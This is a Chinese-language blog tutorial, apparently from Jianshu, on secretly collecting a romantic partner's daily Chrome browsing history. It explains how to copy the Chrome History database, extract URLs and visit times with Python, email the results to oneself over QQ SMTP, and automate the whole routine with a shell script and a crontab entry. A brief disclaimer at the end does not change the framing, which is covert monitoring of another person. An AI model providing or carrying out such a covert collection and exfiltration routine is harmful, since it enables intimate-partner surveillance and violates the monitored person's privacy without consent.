想知道女朋友/男朋友每天都在看哪些网站么,用Python就可以了!

本案例实现的功能:

(1) 获取你对象chrome前一天的浏览记录中的所有网址(url)和访问时间,并存在一个txt文件中

(2)将这个txt文件发送给指定的邮箱地址(你的邮箱)

(3)建立例行任务,每天定时自动完成这些操作,你就可以通过邮件查看你对象每天看啥了

Python学习资料或者需要代码、视频加Python学习群:960410445

前期准备

Python3.6

Chrome

发送邮件的qq邮箱地址

qq邮箱授权码

SMTP服务器地址

接受邮件的邮箱地址

实现过程

(1) 首先我们用DB Browser for SQLite来看下History中的urls表的数据组成

从表中可以看出,我们要的网址和访问时间就在urls.url和urls.last_visit_time中

(2) get_history.py:

通过这个脚本,我们可以把url和访问时间提取出来,并且存储在result.txt中,下图就是我得到的部分结果

(3) send_email.py:

通过这个脚本,我们可以把result.txt作为附件,发送给指定邮箱地址,下图是我得到的部分结果

(4) ./start.sh :

其实,前面几个脚本,已经完成了我们的任务,但是每次都执行这么多脚本,太麻烦了,我们可以把这些脚本的执行语句整理成一个shell脚本。

cp /Users/Marcel/Library/Application Support/Google/Chrome/Default/History /Users/Marcel/Desktop/tmp/code/chrome_history/

python /Users/Marcel/Desktop/tmp/code/chrome_history/get_history.py

python /Users/Marcel/Desktop/tmp/code/chrome_history/send_mail.py /Users/Marcel/Desktop/tmp/code/chrome_history/result.txt

这样,我们在终端执行./start.sh,系统就会帮我们把这三条语句依次执行了

注意:由于crontab命令需要绝对路径,所以这里的路径都是用绝对路径

(5) crontab :

如果使用了这个命令,在电脑开机并且联网的情况,系统会自动执行,然后把结果发到你的邮箱

使用方法:在终端下输入crontab -e,使用vim输入下面一行代码就可以了

20 14 * * * /Users/Marcel/Desktop/tmp/code/chrome_history/start.sh

说明:前面两个数字,就是你每天执行这个脚本的时间,我这里设置的是14:20。

重要的事再说一遍,一定要写绝对路径!!!

问题:

1.server.login(from_addr, password)函数中的password不是邮箱密码,在qq邮箱中,指的是授权码

答:qq邮箱授权码

2.访问History数据库时,显示The database is locked!

答:

有两种解决办法:

(1)关闭浏览器,再去访问

(2)把History拷贝到其他文件夹中,然后访问该文件夹下的History

3.timestamp时间戳怎么转换的

答:last_visit_time是微秒,所以要除以10^6;

last_visit_time的起始值是1601年1月1日0时0分0秒,所以要减去11644473600;

筛选昨天的数据:现在的日期与last_visit_time的差值小于1的数据,就是距离当前时

间小于1天的数据

4.crontab出错

答:crontab中所有路径都要写绝对路径,包括py脚本中的路径也要写绝对路径!

5.路径问题

答:大家在复现的时候,要注意把路径改成自己电脑上的,还有那个邮箱相关的信息也要改成自己的。

总结:

1.运用python连接SQLite数据库,并执行sql操作

2.运用python发送邮件

3.运用shell和crontab建立自动化例行任务

4.看别人隐私是不对的,这篇文章只是我自己瞎玩的,实际可行性不强

©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

  • 一、目录结构 1.Windows文件系统 看到的是一个个驱动器盘符,例如:C盘,D盘等每个驱动器都有自己的根目录结...
    郑元吉阅读 3,880评论 0 0
  • 一、Python简介和环境搭建以及pip的安装 4课时实验课主要内容 【Python简介】: Python 是一个...
    _小老虎_阅读 11,304评论 0 10
  • 青春迷茫,谁的青春不迷茫。也许有些人看到“青春”一词就会想到自己五彩斑斓、平凡或后悔的青春,...
    康旭_化学工程与工艺阅读 3,290评论 0 0
  • WebSocket小试牛刀 一. 为什么需要WebSocket? 1.1 初次接触 WebSocket 的人,都会...
    shu_ke阅读 3,798评论 0 1
  • 在温暖中逐步天涯 且不论柬埔寨的官方经济数据,也不论百度百科对柬埔寨教育的客观描述,我且谈谈我所接触到的教师、学生...
    逐梦天涯233阅读 2,895评论 0 0

友情链接更多精彩内容